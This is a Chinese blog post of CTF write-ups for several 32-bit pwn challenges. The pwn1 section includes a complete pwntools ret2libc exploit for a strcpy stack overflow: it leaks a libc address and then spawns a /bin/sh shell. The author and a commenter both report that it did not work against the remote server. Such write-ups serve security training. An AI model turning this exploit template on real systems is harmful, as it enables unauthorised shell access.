4. pwn1-429-last

题目描述:nc ipaddr 8000

难度评级:⭐

考察分类:Steak Overflow(ret2libc)

这个题的难度主要在于寻找漏洞点(其实没啥难点。。。。。)

查保护,发现NX保护,32位

mark

容易分析出ShowInfo函数中存在strcpy危险函数,并且同样对参数长度没有做判断

mark

于是就是超级简单的一波ret2libc

EXP如下

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

pwn1=ELF("./pwn1")

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.19-0ubuntu6.14_i386.so")
else:
    sh = process("./pwn1")
    libc=ELF("/lib32/libc.so.6")

payload='A'*0x88+'AAAA'+p32(pwn1.plt['puts'])+p32(0x080485FD)+p32(pwn1.got['puts'])

sh.recvuntil("input your name:")
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.recvuntil('\x0a')
puts_addr=u32(sh.recv()[0:4])
log.success("We get puts address :"+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success("We get libc base address :"+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload='A'*0x88+'AAAA'+p32(system_addr)+p32(0x080485FD)+p32(binsh_addr)
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.interactive()
print(sh.recv())

*这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本

5. pwn2-429-begin

题目描述:nc ipaddr 8000

难度评级:(和pwn1-429-begin一样,无难度)

考察分类:Steak Overflow(ret2libc)

查保护,发现NX保护与Canary保护,32位

mark

分析发现。。。。极为的眼熟。。。至于眼熟在哪。。。我也不大清楚。。。。

然后就直接用pwn1-429-begin的EXP脚本试了一下。。。

出一样的题有意思吗。。。。。还是我把pwn1-429-begin做出了非预期?????

6. pwn2-429-last

题目描述:nc ipaddr 8000

难度评级:⭐⭐⭐⭐

考察分类:Steak Overflow(静态编译)

查保护,发现NX保护与Canary保护,32位

mark

这个题我要详细写一个WP,请移步

分类: CTF

4 条评论

ss · 2019年11月19日 下午3:52

pwn1的exp跑不通。。。

    xiaolan · 2019年11月22日 下午5:54

    我本地是通的诶。。。。

ss · 2019年11月19日 下午9:47

pwn1不用栈迁移?

    xiaolan · 2019年11月22日 下午5:54

    没必要吧~

发表评论

电子邮件地址不会被公开。 必填项已用*标注